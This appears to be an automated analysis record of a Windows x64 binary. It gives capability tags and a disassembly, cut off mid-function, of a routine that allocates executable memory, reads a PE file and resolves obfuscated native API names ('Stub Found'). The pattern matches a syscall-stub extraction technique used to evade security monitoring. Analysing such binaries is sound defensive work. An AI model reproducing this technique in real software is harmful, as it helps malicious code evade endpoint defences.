Function at 0x14000334d
Capabilities:
Allocate or change rwx memory
Enumerate process modules
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rdi
push rbx
mov eax, 0x5d10
call fcn.1400157e0
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.140014830
call fcn.140001617
lea rax, [rbp + 0x2b72]
lea rdx, [rbp + 0x2b7e]
mov rcx, rax
call fcn.140001c4a
lea rax, [rbp + 0x2b60]
lea rdx, [rbp + 0x2b7f]
mov rcx, rax
call fcn.140001cbc
lea rdx, [rbp + 0x2360]
mov eax, 0
mov ecx, 0x100
mov rdi, rdx
rep stosq qword [rdi], rax
mov qword [rbp + 0x5c60], 0x800
mov dword [rbp + 0x5c5c], 0
mov dword [rbp + 0x5c58], 0
mov qword [rbp + 0x5c50], 0
mov qword [rbp + 0x22e0], 0
mov qword [rbp + 0x22e8], 0
mov qword [rbp + 0x22f0], 0
mov qword [rbp + 0x22f8], 0
mov qword [rbp + 0x2300], 0
mov qword [rbp + 0x2308], 0
mov qword [rbp + 0x2310], 0
mov qword [rbp + 0x2318], 0
mov qword [rbp + 0x2320], 0
mov qword [rbp + 0x2328], 0
mov qword [rbp + 0x2330], 0
mov qword [rbp + 0x2338], 0
mov qword [rbp + 0x2340], 0
mov qword [rbp + 0x2348], 0
mov qword [rbp + 0x2350], 0
mov qword [rbp + 0x2358], 0
mov qword [rbp + 0x5c48], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x5c44], eax
mov eax, dword [rbp + 0x5c44]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x5c38], rax
mov rax, qword [rbp + 0x5c38]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x5c30], rax
mov rax, qword [rbp + 0x5c30]
add rax, 0x17
mov qword [rbp + 0x5c28], rax
mov rax, qword [rbp + 0x5c28]
add rax, 0x17
mov qword [rbp + 0x5c20], rax
mov rax, qword [rbp + 0x5c20]
add rax, 0x17
mov qword [rbp + 0x5c18], rax
mov rax, qword [rbp + 0x5c18]
add rax, 0x17
mov qword [rbp + 0x5c10], rax
mov rax, qword [rbp + 0x5c10]
add rax, 0x17
mov qword [rbp + 0x5c08], rax
mov rax, qword [rbp + 0x5c08]
add rax, 0x17
mov qword [rbp + 0x5c00], rax
mov rax, qword [rbp + 0x5c00]
add rax, 0x17
mov qword [rbp + 0x5bf8], rax
mov rax, qword [rbp + 0x5bf8]
add rax, 0x17
mov qword [rbp + 0x5bf0], rax
mov rax, qword [rbp + 0x5bf0]
add rax, 0x17
mov qword [rbp + 0x5be8], rax
mov rax, qword [rbp + 0x5be8]
add rax, 0x17
mov qword [rbp + 0x5be0], rax
mov rax, qword [rbp + 0x5be0]
add rax, 0x17
mov qword [rbp + 0x5bd8], rax
mov rax, qword [rbp + 0x5bd8]
add rax, 0x17
mov qword [rbp + 0x5bd0], rax
mov rax, qword [rbp + 0x5bd0]
add rax, 0x17
mov qword [rbp + 0x5bc8], rax
mov rax, qword [rbp + 0x5bc8]
add rax, 0x17
mov qword [rbp + 0x5bc0], rax
mov rax, qword [rbp + 0x5bc0]
add rax, 0x17
mov qword [rbp + 0x5bb8], rax
mov rax, qword [rbp + 0x5bb8]
add rax, 0x17
mov qword [rbp + 0x5bb0], rax
mov rax, qword [rbp + 0x5bb0]
add rax, 0x17
mov qword [rbp + 0x5ba8], rax
mov dword [rbp + 0x22dc], 0
mov qword [rbp + 0x5ba0], 0
mov dword [rbp + 0x5b9c], 0
mov dword [rbp + 0x22d8], 0
mov qword [rbp + 0x5b90], 0
mov rax, qword [rbp + 0x5c30]
mov qword [0x1402dc038], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5c30]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5c28]
mov qword [0x1402dc040], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5c28]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5c20]
mov qword [0x1402dc048], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5c20]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5c18]
mov qword [0x1402dc050], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5c18]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5c10]
mov qword [0x1402dc058], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5c10]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5c08]
mov qword [0x1402dc060], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5c08]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5c00]
mov qword [0x1402dc068], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5c00]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5bf8]
mov qword [0x1402dc070], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5bf8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5bf0]
mov qword [0x1402dc078], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5bf0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5be8]
mov qword [0x1402dc080], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5be8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5be0]
mov qword [0x1402dc088], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5be0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5bd8]
mov qword [0x1402dc090], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5bd8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5bd0]
mov qword [0x1402dc098], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5bd0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5bc8]
mov qword [0x1402dc0a0], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5bc8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5bc0]
mov qword [0x1402dc0a8], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5bc0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5bb8]
mov qword [0x1402dc0b0], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5bb8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5bb0]
mov qword [0x1402dc0b8], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5bb0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5ba8]
mov qword [0x1402dc0c0], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5ba8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, [0x1402afe66]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x5ba0], rax
mov rax, qword [rbp + 0x5ba0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x5b9c], eax
mov ebx, dword [rbp + 0x5b9c]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x5b90], rax
lea r8, [rbp + 0x22d8]
mov ecx, dword [rbp + 0x5b9c]
mov rdx, qword [rbp + 0x5b90]
mov rax, qword [rbp + 0x5ba0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x5b90]
mov qword [rbp + 0x5b88], rax
mov rax, qword [rbp + 0x5b88]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5b90]
add rax, rdx
mov qword [rbp + 0x5b80], rax
mov rax, qword [rbp + 0x5b80]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x5b7c], eax
mov rax, qword [rbp + 0x5b80]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x5b80]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x5c88], rax
mov rax, qword [rbp + 0x5c88]
mov qword [rbp + 0x5b70], rax
mov rax, qword [rbp + 0x5c88]
mov qword [rbp + 0x5c80], rax
mov dword [rbp + 0x5c7c], 0
jmp 0x140003bb3
mov rax, qword [rbp + 0x5c88]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140003ba4
mov rax, qword [rbp + 0x5c88]
mov qword [rbp + 0x5c80], rax
jmp 0x140003bc9
add qword [rbp + 0x5c88], 0x28
add dword [rbp + 0x5c7c], 1
mov rax, qword [rbp + 0x5b80]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x5c7c], eax
jl 0x140003b7a
mov edx, dword [rbp + 0x5b7c]
mov rax, qword [rbp + 0x5b90]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x5c80]
mov rdx, rax
call fcn.1400014b0
mov qword [rbp + 0x5b68], rax
lea rax, [rbp + 0x2e4f]
mov rcx, rax
call fcn.140072d90
lea rdx, [rbp + 0x2e4f]
lea rax, [rbp + 0x2e20]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa6f0
lea rax, [rbp + 0x2e00]
lea rdx, [rbp + 0x2e20]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2de0]
lea rdx, [rbp + 0x2e00]
lea r8, [0x1402afe8f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2dc0]
lea rdx, [rbp + 0x2de0]
lea r8, [0x1402afe91]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2da0]
lea rdx, [rbp + 0x2dc0]
lea r8, [0x1402afe91]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2d80]
lea rdx, [rbp + 0x2da0]
lea r8, [0x1402afe93]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2d60]
lea rdx, [rbp + 0x2d80]
lea r8, [0x1402afe95]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2d40]
lea rdx, [rbp + 0x2d60]
lea r8, [0x1402afe97]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2d20]
lea rdx, [rbp + 0x2d40]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2d00]
lea rdx, [rbp + 0x2d20]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2ce0]
lea rdx, [rbp + 0x2d00]
lea r8, [0x1402afe9b]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2cc0]
lea rdx, [rbp + 0x2ce0]
lea r8, [0x1402afe9d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2ca0]
lea rdx, [rbp + 0x2cc0]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2c80]
lea rdx, [rbp + 0x2ca0]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2c60]
lea rdx, [rbp + 0x2c80]
lea r8, [0x1402afea1]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2c40]
lea rdx, [rbp + 0x2c60]
lea r8, [0x1402afe97]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2c20]
lea rdx, [rbp + 0x2c40]
lea r8, [0x1402afe91]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2c00]
lea rdx, [rbp + 0x2c20]
lea r8, [0x1402afea3]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2be0]
lea rdx, [rbp + 0x2c00]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2bc0]
lea rdx, [rbp + 0x2be0]
lea r8, [0x1402afea5]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2ba0]
lea rdx, [rbp + 0x2bc0]
lea r8, [0x1402afe93]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2b80]
lea rdx, [rbp + 0x2ba0]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x22b0]
lea rdx, [rbp + 0x2b80]
lea r8, [0x1402afea7]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2b80]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2ba0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2bc0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2be0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2c00]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2c20]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2c40]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2c60]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2c80]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2ca0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2cc0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2ce0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2d00]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2d20]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2d40]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2d60]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2d80]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2da0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2dc0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2de0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2e00]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2e20]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2e4f]
mov rcx, rax
call fcn.140072dc0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x2e50]
mov rcx, rax
call fcn.1400aa260
mov r9, qword [rbp + 0x5b70]
mov r8, qword [rbp + 0x5b90]
mov rdx, qword [rbp + 0x5b68]
lea rax, [rbp + 0x2e50]
mov rcx, qword [rbp + 0x5c30]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5c80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x5b64], eax
lea rax, [rbp + 0x2e50]
mov rcx, rax
call fcn.1400aae10
cmp dword [rbp + 0x5b64], 0
je 0x14000406f
lea rbx, [0x1402afea9]
jmp 0x140004076
lea rbx, [0x1402afeae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.140030590
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x30ff]
mov rcx, rax
call fcn.140072d90
lea rdx, [rbp + 0x30ff]
lea rax, [rbp + 0x30d0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa6f0
lea rax, [rbp + 0x30b0]
lea rdx, [rbp + 0x30d0]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3090]
lea rdx, [rbp + 0x30b0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3070]
lea rdx, [rbp + 0x3090]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3050]
lea rdx, [rbp + 0x3070]
lea r8, [0x1402afe9d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3030]
lea rdx, [rbp + 0x3050]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3010]
lea rdx, [rbp + 0x3030]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2ff0]
lea rdx, [rbp + 0x3010]
lea r8, [0x1402afe9b]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2fd0]
lea rdx, [rbp + 0x2ff0]
lea r8, [0x1402afe9d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2fb0]
lea rdx, [rbp + 0x2fd0]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2f90]
lea rdx, [rbp + 0x2fb0]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2f70]
lea rdx, [rbp + 0x2f90]
lea r8, [0x1402afea1]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2f50]
lea rdx, [rbp + 0x2f70]
lea r8, [0x1402afe97]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2f30]
lea rdx, [rbp + 0x2f50]
lea r8, [0x1402afe91]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2f10]
lea rdx, [rbp + 0x2f30]
lea r8, [0x1402afea3]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2ef0]
lea rdx, [rbp + 0x2f10]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2ed0]
lea rdx, [rbp + 0x2ef0]
lea r8, [0x1402afea5]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2eb0]
lea rdx, [rbp + 0x2ed0]
lea r8, [0x1402afe93]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2e90]
lea rdx, [rbp + 0x2eb0]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x2e70]
lea rdx, [rbp + 0x2e90]
lea r8, [0x1402afea7]
mov rcx, rax
call fcn.1400bb270
lea rdx, [rbp + 0x2e70]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x2e70]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2e90]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2eb0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2ed0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2ef0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2f10]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2f30]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2f50]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2f70]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2f90]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2fb0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2fd0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x2ff0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3010]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3030]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3050]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3070]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3090]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x30b0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x30d0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x30ff]
mov rcx, rax
call fcn.140072dc0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x3100]
mov rcx, rax
call fcn.1400aa260
mov r9, qword [rbp + 0x5b70]
mov r8, qword [rbp + 0x5b90]
mov rdx, qword [rbp + 0x5b68]
lea rax, [rbp + 0x3100]
mov rcx, qword [rbp + 0x5c28]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5c80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x5b64], eax
lea rax, [rbp + 0x3100]
mov rcx, rax
call fcn.1400aae10
cmp dword [rbp + 0x5b64], 0
je 0x1400044ba
lea rbx, [0x1402afea9]
jmp 0x1400044c1
lea rbx, [0x1402afeae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.140030590
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x33ef]
mov rcx, rax
call fcn.140072d90
lea rdx, [rbp + 0x33ef]
lea rax, [rbp + 0x33c0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa6f0
lea rax, [rbp + 0x33a0]
lea rdx, [rbp + 0x33c0]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3380]
lea rdx, [rbp + 0x33a0]
lea r8, [0x1402afec9]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3360]
lea rdx, [rbp + 0x3380]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3340]
lea rdx, [rbp + 0x3360]
lea r8, [0x1402afe93]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3320]
lea rdx, [rbp + 0x3340]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3300]
lea rdx, [rbp + 0x3320]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x32e0]
lea rdx, [rbp + 0x3300]
lea r8, [0x1402afe95]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x32c0]
lea rdx, [rbp + 0x32e0]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x32a0]
lea rdx, [rbp + 0x32c0]
lea r8, [0x1402afe9b]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3280]
lea rdx, [rbp + 0x32a0]
lea r8, [0x1402afe9d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3260]
lea rdx, [rbp + 0x3280]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3240]
lea rdx, [rbp + 0x3260]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3220]
lea rdx, [rbp + 0x3240]
lea r8, [0x1402afea1]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3200]
lea rdx, [rbp + 0x3220]
lea r8, [0x1402afe97]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x31e0]
lea rdx, [rbp + 0x3200]
lea r8, [0x1402afe91]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x31c0]
lea rdx, [rbp + 0x31e0]
lea r8, [0x1402afea3]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x31a0]
lea rdx, [rbp + 0x31c0]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3180]
lea rdx, [rbp + 0x31a0]
lea r8, [0x1402afea5]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3160]
lea rdx, [rbp + 0x3180]
lea r8, [0x1402afe93]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3140]
lea rdx, [rbp + 0x3160]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3120]
lea rdx, [rbp + 0x3140]
lea r8, [0x1402afea7]
mov rcx, rax
call fcn.1400bb270
lea rdx, [rbp + 0x3120]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x3120]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3140]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3160]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3180]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x31a0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x31c0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x31e0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3200]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3220]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3240]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3260]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3280]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x32a0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x32c0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x32e0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3300]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3320]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3340]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3360]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3380]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x33a0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x33c0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x33ef]
mov rcx, rax
call fcn.140072dc0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x33f0]
mov rcx, rax
call fcn.1400aa260
mov r9, qword [rbp + 0x5b70]
mov r8, qword [rbp + 0x5b90]
mov rdx, qword [rbp + 0x5b68]
lea rax, [rbp + 0x33f0]
mov rcx, qword [rbp + 0x5c20]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5c80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x5b64], eax
lea rax, [rbp + 0x33f0]
mov rcx, rax
call fcn.1400aae10
cmp dword [rbp + 0x5b64], 0
je 0x14000495d
lea rbx, [0x1402afea9]
jmp 0x140004964
lea rbx, [0x1402afeae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.140030590
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x361f]
mov rcx, rax
call fcn.140072d90
lea rdx, [rbp + 0x361f]
